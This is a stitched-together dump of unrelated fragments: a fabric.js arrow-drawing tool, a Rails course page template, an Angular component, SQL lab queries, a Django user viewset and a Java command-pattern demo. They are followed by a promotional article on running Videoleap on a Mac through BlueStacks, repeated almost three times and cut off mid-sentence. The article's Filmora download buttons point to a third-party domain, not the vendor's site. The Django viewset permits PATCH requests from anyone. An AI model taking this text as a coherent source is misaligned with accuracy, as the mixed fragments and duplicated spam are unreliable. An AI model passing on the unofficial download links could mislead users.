}) //takes the first point's coordinates from mouse down event this.currentLine.setCoords() ////// Remove the previous group if it exists if (this.doublearrow) { canvas.remove(this.doublearrow) } // Initialize variables let yy2: any = 0 // Initialization let yy1: any = 0 // Initialization let xx2: any = 0 // Initialization let xx1: any = 0 // Initialization yy2 = this.currentLine.y2 yy1 = this.currentLine.y1 xx2 = this.currentLine.x2 xx1 = this.currentLine.x1 var angle = Math.atan2(yy2 - yy1, xx2 - xx1) // Create a triangle at the end of the line this.endTriangle = new fabric.Triangle({ left: pointer.x, top: pointer.y, originX: "center", originY: "center", strokeWidth: this.strokeWidth, stroke: this.strokeColor, fill: this.strokeColor, selectable: false, evented: false, width: this.strokeWidth * 5, height: this.strokeWidth * 5, angle: angle * (180 / Math.PI) + 90, // Convert the angle to degrees and add 90 to align with the line }) // Create a triangle at the start of the line this.startTriangle = new fabric.Triangle({ left: this.currentLine.x1, //+ this.currentLine.left, top: this.currentLine.y1, //+ this.currentLine.top, originX: "center", originY: "center", strokeWidth: this.strokeWidth, stroke: this.strokeColor, fill: this.strokeColor, selectable: false, evented: false, width: this.strokeWidth * 5, height: this.strokeWidth * 5, angle: angle * (180 / Math.PI) - 90, // Convert the angle to degrees and subtract 90 to align with the line }) // Create a group and add the line and the triangles to it this.doublearrow = new fabric.Group( [this.currentLine, this.startTriangle, this.endTriangle], { selectable: false, evented: false, } ) canvas.add(this.doublearrow) canvas.renderAll() } onMouseUp(o: any) { this.isMouseDown = false let canvas = this._canvas // if (this.currentLine.width === 0 && this.currentLine.height === 0) { // canvas.remove(this.currentLine) // } //canvas.remove(this.currentLine) var updatedgroup = this.doublearrow canvas.remove(this.doublearrow) canvas.add(updatedgroup) canvas.renderAll() } onMouseOut(o: any) { this.isMouseDown = false } } export default DoubleArrowHeadTool
<ol class="flex items-center whitespace-nowrap" aria-label="Breadcrumb"> <li class="inline-flex items-center"> <a class=" flex items-center text-sm text-gray-500 hover:text-blue-600 focus:outline-none focus:text-blue-600 dark:focus:text-blue-500 " href="/" > Home </a> <svg class=" flex-shrink-0 mx-2 overflow-visible h-4 w-4 text-gray-400 dark:text-neutral-600 dark:text-neutral-600 " xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" ><path d="m9 18 6-6-6-6"/></svg> </li> <li class="inline-flex items-center"> <a class=" flex items-center text-sm text-gray-500 hover:text-blue-600 focus:outline-none focus:text-blue-600 dark:focus:text-blue-500 " href="/courses" > Courses <svg class=" flex-shrink-0 mx-2 overflow-visible h-4 w-4 text-gray-400 dark:text-neutral-600 dark:text-neutral-600 " xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" ><path d="m9 18 6-6-6-6"/></svg> </a> </li> <li class="inline-flex items-center"> <a class=" flex items-center text-sm text-gray-500 hover:text-blue-600 focus:outline-none focus:text-blue-600 dark:focus:text-blue-500 " href="<%= course_path(@course) %>" > <%= @course.title %> <svg class=" flex-shrink-0 mx-2 overflow-visible h-4 w-4 text-gray-400 dark:text-neutral-600 dark:text-neutral-600 " xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" ><path d="m9 18 6-6-6-6"/></svg> </a> </li> <li class=" inline-flex items-center text-sm font-semibold text-gray-800 truncate dark:text-gray-200 " aria-current="page" > Lesson </li> </ol> <!-- Card Blog --> <div class="max-w-[85rem] px-4 py-10 sm:px-6 lg:px-8 lg:py-14 mx-auto"> <!-- Grid --> <div class="grid sm:grid-cols-2 sm:items-center gap-8"> <div class="sm:order-2"> <div class="relative pt-[50%] sm:pt-[100%] rounded-lg"> <img class="w-full h-full absolute top-0 start-0 object-cover rounded-lg" src="<%= @course.photo_url %>" alt="Course Image" > </div> </div> <!-- End Col --> <div class="sm:order-1"> <h2 class=" text-2xl font-bold md:text-3xl lg:text-4xl lg:leading-tight xl:text-5xl xl:leading-tight text-gray-800 dark:text-gray-200 " > <p class=" hover:text-blue-600 dark:text-gray-300 dark:hover:text-white dark:focus:outline-none dark:focus:ring-1 dark:focus:ring-gray-600 cursor-pointer " > <%= @course.title %> </p> </h2> <p class=" mb-5 inline-flex items-center gap-1.5 py-1.5 px-3 rounded-md text-lg font-medium bg-gray-100 text-gray-800 dark:bg-gray-800 dark:text-gray-200 " > <%= @course.description %> </p> </div> <!-- End Col --> </div> <!-- End Grid --> <!-- Avatar --> <% if @course.created_by.present? %> <div class="mt-6 sm:mt-10 flex items-center"> <div class="flex-shrink-0"> <img class="h-10 w-10 sm:h-14 sm:w-14 rounded-full" src="<%= @course.created_by.gravatar %>" alt="Image Description" > </div> <div class="ms-3 sm:ms-4"> <p class="sm:mb-1 font-semibold text-gray-800 dark:text-gray-200"> <%= @course.created_by.name.capitalize %> </p> <p class="text-xs text-gray-500"> <%= @course.created_by.role.capitalize %> </p> </div> </div> <% end %> <!-- End Avatar --> </div> <!-- End Card Blog --> <div class="pb-8"> <h1 class="text-xl lg:text-4xl mb-4 font-medium dark:text-white">Lessons: </h1> <div class="grid grid-cols-1 md:grid-cols-3 gap-4"> <% @lessons.each do |lesson| %> <div style="border-radius: 10px; justify-content: space-between;" class=" overflow-hidden relative flex flex-col bg-white border shadow-sm rounded-3xl p-4 md:p-5 dark:bg-slate-900 dark:border-gray-700 dark:shadow-slate-700/[.7] " > <% if lesson.viewed_lesson? current_user %> <div class="absolute right-0 top-0 h-16 w-16"> <div class=" absolute transform rotate-45 bg-green-600 text-center text-white font-semibold py-1 right-[-45px] top-[22px] w-[170px] " > Viewed </div> </div> <% end %> <div> <h3 class="text-lg font-bold text-gray-800 dark:text-white"> <%= lesson.title %> </h3> <p class="mt-2 text-gray-500 dark:text-gray-400"> <%= if lesson.description.nil? "..." else lesson.description.truncate(100, omission: ".....") end %> </p> </div> <a style="color: rgb(59 130 246 / 1);" class=" mt-3 inline-flex items-center gap-x-1 text-sm font-semibold rounded-lg border border-transparent text-blue-600 hover:text-blue-800 disabled:opacity-50 disabled:pointer-events-none dark:text-blue-500 dark:hover:text-blue-400 dark:focus:outline-none dark:focus:ring-1 dark:focus:ring-gray-600 " href="<%= show_course_lesson_path(@course, lesson) %>" > View Lesson <svg class="flex-shrink-0 w-4 h-4" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" ><path d="m9 18 6-6-6-6"/></svg> </a> </div> <% end %> </div> </div> <div class="pb-8"> <h1 class="text-xl lg:text-4xl mb-4 font-medium dark:text-white">Quizzes: </h1> <div class="grid grid-cols-1 md:grid-cols-3 gap-4"> <% @quizzes.each do |quiz| %> <div style="border-radius: 10px; justify-content: space-between;" class=" overflow-hidden relative flex flex-col bg-white border shadow-sm rounded-3xl p-4 md:p-5 dark:bg-slate-900 dark:border-gray-700 dark:shadow-slate-700/[.7] " > <% if quiz.attempted_by? current_user %> <div class="absolute right-0 top-0 h-16 w-16"> <div class=" absolute transform rotate-45 bg-green-600 text-center text-white font-semibold py-1 right-[-60px] top-[12px] w-[170px] " > Done </div> </div> <% end %> <div> <h3 class="text-lg font-bold text-gray-800 dark:text-white"> <%= quiz.title %> </h3> </div> <% if !quiz.attempted_by? current_user %> <a style="color: rgb(59 130 246 / 1);" class=" mt-3 inline-flex items-center gap-x-1 text-sm font-semibold rounded-lg border border-transparent text-blue-600 hover:text-blue-800 disabled:opacity-50 disabled:pointer-events-none dark:text-blue-500 dark:hover:text-blue-400 dark:focus:outline-none dark:focus:ring-1 dark:focus:ring-gray-600 " href="<%= show_course_quiz_path(@course, quiz) %>" > Start Quiz <svg class="flex-shrink-0 w-4 h-4" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" ><path d="m9 18 6-6-6-6"/></svg> </a> <% end %> <% if quiz.attempted_by? current_user %> <p class="text-gray-600 dark:text-gray-400"> Correct Answers: <%= quiz.correct_answers current_user %> / <%= quiz.questions.count %> </p> <% end %> </div> <% end %> </div> </div>
import { Component, OnInit } from '@angular/core'; import { Store } from '@ngrx/store'; import { AppState } from 'src/app/store/app.reducer'; import { SelectDate, SelectGroupId, FetchSchedule, } from 'src/app/store/lessons/lessons.actions'; import { Group } from 'src/app/types/group.model'; @Component({ selector: 'app-lessons-load-menu', templateUrl: './lessons-load-menu.component.html', styleUrls: ['./lessons-load-menu.component.css'], }) export class LessonsLoadMenuComponent implements OnInit { selectedGroupId: number; selectedDate: Date = (() => { const currentDate = new Date(); switch (currentDate.getDay()) { case 0: currentDate.setDate(currentDate.getDate() + 1); break; case 6: currentDate.setDate(currentDate.getDate() + 2); break; } return currentDate; })(); groups: Group[] = []; isLoading: boolean = false; constructor(private store: Store<AppState>) {} ngOnInit(): void { this.store .select('lessons') .subscribe(({ groups, isLoading, selectedGroupId }) => { this.groups = groups; this.isLoading = isLoading; this.selectedGroupId = selectedGroupId; }); this.store.dispatch(new SelectDate(this.selectedDate)); } LoadSchedule() { if (!this.selectedGroupId || !this.selectedDate) { return; } localStorage.setItem('lastGroupId', this.selectedGroupId.toString()); this.store.dispatch(new SelectGroupId(this.selectedGroupId)); this.store.dispatch(new SelectDate(this.selectedDate)); this.store.dispatch(new FetchSchedule()); } }
--Lab 3-1 SELECT c.CustomerID, c.TerritoryID, FirstName, LastName, COUNT(o.SalesOrderid) [Total Orders], CASE WHEN COUNT(o.SalesOrderID) = 0 THEN 'No Order' WHEN COUNT(o.SalesOrderID) = 1 THEN 'One Time' WHEN COUNT(o.SalesOrderID) BETWEEN 2 AND 5 THEN 'Regular' WHEN COUNT(o.SalesOrderID) BETWEEN 6 AND 10 THEN 'Often' ELSE 'Loyal' END AS [Order Frequency] FROM Sales.Customer c JOIN Sales.SalesOrderHeader o ON c.CustomerID = o.CustomerID JOIN Person.Person p ON p.BusinessEntityID = c.PersonID WHERE c.CustomerID > 25000 GROUP BY c.TerritoryID, c.CustomerID, FirstName, LastName; -- Lab 3-2 SELECT o.TerritoryID, s.Name, year(o.OrderDate) Year, COUNT(o.SalesOrderid) [Total Orders], DENSE_RANK() OVER (PARTITION BY o.TerritoryID ORDER BY COUNT(o.SalesOrderid) DESC) [Rank] FROM Sales.SalesTerritory s JOIN Sales.SalesOrderHeader o ON s.TerritoryID = o.TerritoryID GROUP BY o.TerritoryID, s.Name, year(o.OrderDate) ORDER BY o.TerritoryID; -- Lab 3-3 select Year, CustomerID, cast(TotalSale as int) [Total Sales], OrderCount 'Order Count' from ( select year(OrderDate) Year, CustomerID, sum(TotalDue) TotalSale, count(SalesOrderID) OrderCount, rank() over (partition by year(OrderDate) order by sum(TotalDue) desc) as rank from Sales.SalesOrderHeader group by year(OrderDate), CustomerID) temp where rank =1 order by Year; -- Lab 3-4 select sh.CustomerID from Sales.SalesOrderHeader sh join Sales.SalesOrderDetail sd on sh.SalesOrderID = sd.SalesOrderID join Production.Product p on sd.ProductID = p.ProductID where sh.OrderDate > '5-1-2008' and p.Color = 'Red' intersect select sh.CustomerID from Sales.SalesOrderHeader sh join Sales.SalesOrderDetail sd on sh.SalesOrderID = sd.SalesOrderID join Production.Product p on sd.ProductID = p.ProductID where sh.OrderDate > '5-1-2008' and p.Color = 'Yellow' order by CustomerID; -- Lab 3-5 WITH TEMP AS (SELECT Color, TerritoryID, SUM(UnitPrice * OrderQty) AS TotalSales FROM Sales.SalesOrderHeader soh INNER JOIN Sales.SalesOrderDetail sod ON soh.SalesOrderID = sod.SalesOrderID INNER JOIN Production.Product p ON sod.ProductID = p.ProductID WHERE Color IS NOT NULL AND TotalDue > 65000 GROUP BY Color, TerritoryID), T1 AS (SELECT TerritoryID, CAST(MAX(TotalSales) AS INT) Highest, CAST(MIN(TotalSales) AS INT) Lowest, CAST(MAX(TotalSales) - MIN(TotalSales) AS INT) AS Difference, RANK() OVER (ORDER BY (MAX(TotalSales) - MIN(TotalSales))) AS Rank FROM TEMP GROUP BY TerritoryID) SELECT * from T1 WHERE Rank = 1 OR Rank = (SELECT TOP 1 Rank FROM T1 ORDER BY Rank DESC) ORDER BY TerritoryID;
from rest_framework.permissions import AllowAny from rest_framework import viewsets from .serializers import UserSerializer from .models import User from core.abstract.viewsets import AbstractViewSet class UserViewset(AbstractViewSet): http_method_names= ('get', 'patch') permission_classes= (AllowAny,) serializer_class= UserSerializer def get_queryset(self): # http Request obj: # request object contains instance of User model, only if client is authorized! otherwise instance of anonymousUser # request object has an attribute user that represents the user who made the request if self.request.user.is_superuser: return User.objects.prefetch_related() return User.objects.exclude(is_superuser=True) def get_object(self): obj= User.objects.get_object_by_public_id(self.kwargs['pk']) #extracting pk from a route self.check_object_permissions(self.request, obj) return obj
import java.util.ArrayList; import java.util.List; interface Command{ void execute(); } class Light{ private boolean isOn = false; public void turnOn(){ this.isOn = true; System.out.println("Light truned ON"); } public void turnOff(){ this.isOn = false; System.out.println("Light turned OFF"); } } class AC{ private boolean isOn = false; public void turnOn(){ this.isOn = true; System.out.println("AC truned ON"); } public void turnOff(){ this.isOn = false; System.out.println("AC turned OFF"); } } class LightOnCommand implements Command{ private Light light; public LightOnCommand(Light light){ this.light = light; } @Override public void execute() { this.light.turnOn(); } } class LightOffCommand implements Command{ private Light light; public LightOffCommand(Light light){ this.light = light; } @Override public void execute() { this.light.turnOff(); } } class ACOnCommand implements Command{ private AC ac; public ACOnCommand(AC ac){ this.ac = ac; } @Override public void execute() { this.ac.turnOn(); } } class ACOffCommand implements Command{ private AC ac; public ACOffCommand(AC ac){ this.ac = ac; } @Override public void execute() { this.ac.turnOff(); } } class Broker{ private List<Command> commandList = new ArrayList<>(); public void takeCommand(Command cmd){ commandList.add(cmd); } public void executeCommands(){ for (Command cmd : commandList) { cmd.execute(); } commandList.clear(); } } /** * Main */ public class Main { public static void main(String[] args) { Light light = new Light(); AC ac = new AC(); LightOnCommand lightOnCmd = new LightOnCommand(light); LightOffCommand lightOffCmd = new LightOffCommand(light); ACOnCommand acOnCommand = new ACOnCommand(ac); ACOffCommand acOffCommand = new ACOffCommand(ac); Broker broker = new Broker(); broker.takeCommand(lightOnCmd); broker.takeCommand(acOnCommand); broker.takeCommand(lightOffCmd); broker.takeCommand(acOffCommand); broker.executeCommands(); } }
--- title: MacBook Video Editing Download and Set Up Videoleap in Minutes for 2024 date: 2024-05-19T10:32:25.682Z updated: 2024-05-20T10:32:25.682Z tags: - video editing software - video editing categories: - ai - video description: This Article Describes MacBook Video Editing Download and Set Up Videoleap in Minutes for 2024 excerpt: This Article Describes MacBook Video Editing Download and Set Up Videoleap in Minutes for 2024 keywords: ai animation videoleap for macbook a beginners guide to downloading and installing,videoleap for macbook a beginners guide to downloading and installing,videoleap for macbook download guide and best alternatives,macbook video editing download and set up videoleap in minutes,videoleap for macbook download install and edit like a pro,make video editing easy download videoleap on your macbook now,setting up videoleap on macbook download install and start editing thumbnail: https://www.lifewire.com/thmb/iwoCmi7AdF2SQEdJBdU3jN_mTWY=/400x300/filters:no_upscale():max_bytes(150000):strip_icc():format(webp)/GettyImages-136612668-5c640cc5c9e77c00010a4ff4.jpg --- ## MacBook Video Editing: Download and Set Up Videoleap in Minutes # Videoleap for MacBook: Download Guide and Best Alternatives ![author avatar](https://images.wondershare.com/filmora/article-images/richard-bennett.jpg) ##### Richard Bennett Mar 27, 2024• Proven solutions Developed by Lightricks Studio, Videoleap is one of the most powerful video editors, which is available for iOS and Android devices. While you can directly install Videoleap on your iPhone or Android phone by visiting its App/Play Store page, you won’t find its desktop application. That’s why a lot of people find it hard to install Videoleap on their macOS systems. Don’t worry – here, I will let you know how to install **Videoleap for MacBook** and would also list its best alternatives. * [**Part 1: Major Features of Videoleap**](#part1) * [**Part 2: Download and Install Videoleap for MacBook**](#part2) * [**Part 3: 2 Best Alternatives to Videoleap for MacBook**](#part3) ## Part 1: Major Features of Videoleap You might already know that Videoleap is a popular smartphone app that is used for video editing on iOS and Android devices. It is a part of the Lightricks Creative Suite that would let you create, edit, and share your videos in one place. ![Videoleap](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-1.jpg) * You can find all kinds of basic editing options in Videoleap to crop, trim, rotate, or flip your videos. * Videoleap provides a layer-based editing interface that would let you work on videos, images, audio tracks, and other media content. * There are hundreds of visual effects (like transitions, stickers, filters, etc.) that you can readily use in Videoleap. * Some of the other smart features of Videoleap would be green screen edits, prism effects, sound editing, and so on. ## Part 2: Download and Install Videoleap for MacBook As I have listed above, **Videoleap for MacBook** is not directly available as it runs on iOS and Android devices only. Though, you can access this video editor on your Mac by using any reliable Android emulator tool. An emulator can load an Android OS environment on your Windows or Mac system, letting you run all these smartphone apps. While there are plenty of Android emulators out there, these are some of the most popular options: * BlueStacks * Nox Player * MEmu Player * ARChon Player Out of them, let’s consider the example of BlueStacks as it is the most popular and reliable Android emulator in the market. You can install BlueStacks on your MacBook for free, log in to your Google account, and can readily use Videoleap on it. **Step 1: Install a Reliable Android Emulator like BlueStacks** To begin with, you can install any reliable Android emulator on your MacBook. For instance, if you want to install BlueStacks, then you can visit its official website, and click on the “Download” button. ![download bluestacks](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-2.jpg) Now, you can just click on the installer to run it on your MacBook. You can just go through a simple click-through process and select a location where you want to install the application on your Mac. Just make sure that you have at least 5GB of available storage of your Mac (and it should have at least 2GB RAM). ![download bluestacks on Mac](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-3.jpg) **Step 2: Connect your Google Account on BlueStacks** Once you have installed BlueStacks on your MacBook, you can launch it, and go to the Google Play app. From here, you can just log in to an active Google account on the BlueStacks app. ![Access Google Account](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-4.jpg) **Step 3: Install Videoleap for MacBook via BlueStacks** That’s it! Once you have configured Google Play, you can just launch it, and look for “Videoleap” from the search bar. After finding the app, you can click on the “Install” button and wait as **Videoleap for MacBook** would be downloaded. ![Install Videoleap](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-5.jpg) After Videoleap is installed on BlueStacks, you can launch it, and start editing your videos without any hassle. ## Part 3: 2 Best Alternatives to Videoleap for MacBook As you can see, installing **Videoleap for a MacBook** can be a tedious job as it is only available for smartphones. Therefore, instead of using an emulator to install Videoleap, you can consider using the following video editors on your Mac. ### 1\. [Filmora](https://tools.techidaily.com/wondershare/filmora/download/) Filmora is one of the best video editing apps that is super-easy to use and fully supports all the major macOS versions. It is a multi-timeline [macOS video editor](https://tools.techidaily.com/wondershare/filmora/download/) that would let you apply all kinds of edits and use tons of visual effects to make your content look appealing. [![Download Win Version](https://images.wondershare.com/filmora/guide/download-btn-win.jpg)](https://tools.techidaily.com/wondershare/filmora/download/)[![Download Mac Version](https://images.wondershare.com/filmora/guide/download-btn-mac.jpg)](https://tools.techidaily.com/wondershare/filmora/download/) * _User-friendly Video Editing_ You can load clips, images, audio files, and other media content on different timelines of the editor. It provides instant solutions to crop, trim, rotate, flip, and do all the other edits in a user-friendly way. * _AI-Integrated Features_ Wondershare Filmora has also included highly advanced Artificial Intelligence and Augmented Reality features. For instance, with its AI Portrait Mode, you can detect a human face on the video and instantly remove its background. There are also tons of AR stickers that you can just drag and drop to your videos. * _Tons of Video Effects_ On Filmora, you can also explore hundreds of video transitions, overlays, filters, stickers, and numerous other effects. You can readily add captions and other text effects to your videos as well. * _Sound Effects_ Apart from video editing, you can also edit the added soundtracks in your videos. Using Filmora, you can add voiceovers to your videos and apply effects like fade in/out, denoise, audio ducking, and so on. * _Other Features_ Furthermore, Filmora offers some of the most advanced video editing effects for Mac such as Auto Reframe, color tuning, pan-and-zoom, green screen, video stabilization, and so much more. [![Download Win Version](https://images.wondershare.com/filmora/guide/download-btn-win.jpg)](https://tools.techidaily.com/wondershare/filmora/download/)[![Download Mac Version](https://images.wondershare.com/filmora/guide/download-btn-mac.jpg)](https://tools.techidaily.com/wondershare/filmora/download/) ### 2\. iMovie Lastly, if you are looking for a freely available alternative for **Videoleap for MacBook**, then you can try iMovie. The video editor is developed by Apple and is already installed in leading Mac systems. While it doesn’t offer so many extensive features, iMovie would meet your basic video editing needs. ![iMovie](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-7.jpg) * _Ready-made Templates_ On iMovie, you can find several professionally made templates that you can simply load and customize to create videos. * _Sound Effects_ Besides editing your videos, you can also add sound effects to your projects, and edit them as per your preferences. * _All Basic Editing Features_ Once the video is loaded on its timeline, iMovie will let you perform all the basic edits such as clip, trim, crop, rotate, flip, and so on. * _Other Features_ A few advanced features of iMovie are green screen edits, tons of transitions and filters, 4K video editing, caption effects, and other optimized features for Mac. ## Final Words There you go! I’m sure that after following this guide, you can easily use **Videoleap for MacBook.** Since Videoleap is only available for iOS and Android devices, I have come up with a stepwise approach to install it on Mac. Though, instead of Videoleap, you can consider using Wondershare Filmora on your MacBook. It is a far better and more user-friendly video editor for Mac that has some of the most advanced features. [![Download Win Version](https://images.wondershare.com/filmora/guide/download-btn-win.jpg)](https://tools.techidaily.com/wondershare/filmora/download/)[![Download Mac Version](https://images.wondershare.com/filmora/guide/download-btn-mac.jpg)](https://tools.techidaily.com/wondershare/filmora/download/) ![author avatar](https://images.wondershare.com/filmora/article-images/richard-bennett.jpg) Richard Bennett Richard Bennett is a writer and a lover of all things video. Follow @Richard Bennett ##### Richard Bennett Mar 27, 2024• Proven solutions Developed by Lightricks Studio, Videoleap is one of the most powerful video editors, which is available for iOS and Android devices. While you can directly install Videoleap on your iPhone or Android phone by visiting its App/Play Store page, you won’t find its desktop application. That’s why a lot of people find it hard to install Videoleap on their macOS systems. Don’t worry – here, I will let you know how to install **Videoleap for MacBook** and would also list its best alternatives. * [**Part 1: Major Features of Videoleap**](#part1) * [**Part 2: Download and Install Videoleap for MacBook**](#part2) * [**Part 3: 2 Best Alternatives to Videoleap for MacBook**](#part3) ## Part 1: Major Features of Videoleap You might already know that Videoleap is a popular smartphone app that is used for video editing on iOS and Android devices. It is a part of the Lightricks Creative Suite that would let you create, edit, and share your videos in one place. ![Videoleap](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-1.jpg) * You can find all kinds of basic editing options in Videoleap to crop, trim, rotate, or flip your videos. * Videoleap provides a layer-based editing interface that would let you work on videos, images, audio tracks, and other media content. * There are hundreds of visual effects (like transitions, stickers, filters, etc.) that you can readily use in Videoleap. * Some of the other smart features of Videoleap would be green screen edits, prism effects, sound editing, and so on. ## Part 2: Download and Install Videoleap for MacBook As I have listed above, **Videoleap for MacBook** is not directly available as it runs on iOS and Android devices only. Though, you can access this video editor on your Mac by using any reliable Android emulator tool. An emulator can load an Android OS environment on your Windows or Mac system, letting you run all these smartphone apps. While there are plenty of Android emulators out there, these are some of the most popular options: * BlueStacks * Nox Player * MEmu Player * ARChon Player Out of them, let’s consider the example of BlueStacks as it is the most popular and reliable Android emulator in the market. You can install BlueStacks on your MacBook for free, log in to your Google account, and can readily use Videoleap on it. **Step 1: Install a Reliable Android Emulator like BlueStacks** To begin with, you can install any reliable Android emulator on your MacBook. For instance, if you want to install BlueStacks, then you can visit its official website, and click on the “Download” button. ![download bluestacks](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-2.jpg) Now, you can just click on the installer to run it on your MacBook. You can just go through a simple click-through process and select a location where you want to install the application on your Mac. Just make sure that you have at least 5GB of available storage of your Mac (and it should have at least 2GB RAM). ![download bluestacks on Mac](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-3.jpg) **Step 2: Connect your Google Account on BlueStacks** Once you have installed BlueStacks on your MacBook, you can launch it, and go to the Google Play app. From here, you can just log in to an active Google account on the BlueStacks app. ![Access Google Account](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-4.jpg) **Step 3: Install Videoleap for MacBook via BlueStacks** That’s it! Once you have configured Google Play, you can just launch it, and look for “Videoleap” from the search bar. After finding the app, you can click on the “Install” button and wait as **Videoleap for MacBook** would be downloaded. ![Install Videoleap](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-5.jpg) After Videoleap is installed on BlueStacks, you can launch it, and start editing your videos without any hassle. ## Part 3: 2 Best Alternatives to Videoleap for MacBook As you can see, installing **Videoleap for a MacBook** can be a tedious job as it is only available for smartphones. Therefore, instead of using an emulator to install Videoleap, you can consider using the following video editors on your Mac. ### 1\. [Filmora](https://tools.techidaily.com/wondershare/filmora/download/) Filmora is one of the best video editing apps that is super-easy to use and fully supports all the major macOS versions. It is a multi-timeline [macOS video editor](https://tools.techidaily.com/wondershare/filmora/download/) that would let you apply all kinds of edits and use tons of visual effects to make your content look appealing. [![Download Win Version](https://images.wondershare.com/filmora/guide/download-btn-win.jpg)](https://tools.techidaily.com/wondershare/filmora/download/)[![Download Mac Version](https://images.wondershare.com/filmora/guide/download-btn-mac.jpg)](https://tools.techidaily.com/wondershare/filmora/download/) * _User-friendly Video Editing_ You can load clips, images, audio files, and other media content on different timelines of the editor. It provides instant solutions to crop, trim, rotate, flip, and do all the other edits in a user-friendly way. * _AI-Integrated Features_ Wondershare Filmora has also included highly advanced Artificial Intelligence and Augmented Reality features. For instance, with its AI Portrait Mode, you can detect a human face on the video and instantly remove its background. There are also tons of AR stickers that you can just drag and drop to your videos. * _Tons of Video Effects_ On Filmora, you can also explore hundreds of video transitions, overlays, filters, stickers, and numerous other effects. You can readily add captions and other text effects to your videos as well. * _Sound Effects_ Apart from video editing, you can also edit the added soundtracks in your videos. Using Filmora, you can add voiceovers to your videos and apply effects like fade in/out, denoise, audio ducking, and so on. * _Other Features_ Furthermore, Filmora offers some of the most advanced video editing effects for Mac such as Auto Reframe, color tuning, pan-and-zoom, green screen, video stabilization, and so much more. [![Download Win Version](https://images.wondershare.com/filmora/guide/download-btn-win.jpg)](https://tools.techidaily.com/wondershare/filmora/download/)[![Download Mac Version](https://images.wondershare.com/filmora/guide/download-btn-mac.jpg)](https://tools.techidaily.com/wondershare/filmora/download/) ### 2\. iMovie Lastly, if you are looking for a freely available alternative for **Videoleap for MacBook**, then you can try iMovie. The video editor is developed by Apple and is already installed in leading Mac systems. While it doesn’t offer so many extensive features, iMovie would meet your basic video editing needs. ![iMovie](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-7.jpg) * _Ready-made Templates_ On iMovie, you can find several professionally made templates that you can simply load and customize to create videos. * _Sound Effects_ Besides editing your videos, you can also add sound effects to your projects, and edit them as per your preferences. * _All Basic Editing Features_ Once the video is loaded on its timeline, iMovie will let you perform all the basic edits such as clip, trim, crop, rotate, flip, and so on. * _Other Features_ A few advanced features of iMovie are green screen edits, tons of transitions and filters, 4K video editing, caption effects, and other optimized features for Mac. ## Final Words There you go! I’m sure that after following this guide, you can easily use **Videoleap for MacBook.** Since Videoleap is only available for iOS and Android devices, I have come up with a stepwise approach to install it on Mac. Though, instead of Videoleap, you can consider using Wondershare Filmora on your MacBook. It is a far better and more user-friendly video editor for Mac that has some of the most advanced features. [![Download Win Version](https://images.wondershare.com/filmora/guide/download-btn-win.jpg)](https://tools.techidaily.com/wondershare/filmora/download/)[![Download Mac Version](https://images.wondershare.com/filmora/guide/download-btn-mac.jpg)](https://tools.techidaily.com/wondershare/filmora/download/) ![author avatar](https://images.wondershare.com/filmora/article-images/richard-bennett.jpg) Richard Bennett Richard Bennett is a writer and a lover of all things video. Follow @Richard Bennett ##### Richard Bennett Mar 27, 2024• Proven solutions Developed by Lightricks Studio, Videoleap is one of the most powerful video editors, which is available for iOS and Android devices. While you can directly install Videoleap on your iPhone or Android phone by visiting its App/Play Store page, you won’t find its desktop application. That’s why a lot of people find it hard to install Videoleap on their macOS systems. Don’t worry – here, I will let you know how to install **Videoleap for MacBook** and would also list its best alternatives. * [**Part 1: Major Features of Videoleap**](#part1) * [**Part 2: Download and Install Videoleap for MacBook**](#part2) * [**Part 3: 2 Best Alternatives to Videoleap for MacBook**](#part3) ## Part 1: Major Features of Videoleap You might already know that Videoleap is a popular smartphone app that is used for video editing on iOS and Android devices. It is a part of the Lightricks Creative Suite that would let you create, edit, and share your videos in one place. ![Videoleap](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-1.jpg) * You can find all kinds of basic editing options in Videoleap to crop, trim, rotate, or flip your videos. * Videoleap provides a layer-based editing interface that would let you work on videos, images, audio tracks, and other media content. * There are hundreds of visual effects (like transitions, stickers, filters, etc.) that you can readily use in Videoleap. * Some of the other smart features of Videoleap would be green screen edits, prism effects, sound editing, and so on. ## Part 2: Download and Install Videoleap for MacBook As I have listed above, **Videoleap for MacBook** is not directly available as it runs on iOS and Android devices only. Though, you can access this video editor on your Mac by using any reliable Android emulator tool. An emulator can load an Android OS environment on your Windows or Mac system, letting you run all these smartphone apps. While there are plenty of Android emulators out there, these are some of the most popular options: * BlueStacks * Nox Player * MEmu Player * ARChon Player Out of them, let’s consider the example of BlueStacks as it is the most popular and reliable Android emulator in the market. You can install BlueStacks on your MacBook for free, log in to your Google account, and can readily use Videoleap on it. **Step 1: Install a Reliable Android Emulator like BlueStacks** To begin with, you can install any reliable Android emulator on your MacBook. For instance, if you want to install BlueStacks, then you can visit its official website, and click on the “Download” button. ![download bluestacks](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-2.jpg) Now, you can just click on the installer to run it on your MacBook. You can just go through a simple click-through process and select a location where you want to install the application on your Mac. Just make sure that you have at least 5GB of available storage of your Mac (and it should have at least 2GB RAM). ![download bluestacks on Mac](https://images.wondershare.com/filmora/article-images/videoleap-for-macbook-3.jpg) **Step 2: Connect your Google Account on BlueStacks** Once you have installed BlueStacks on your 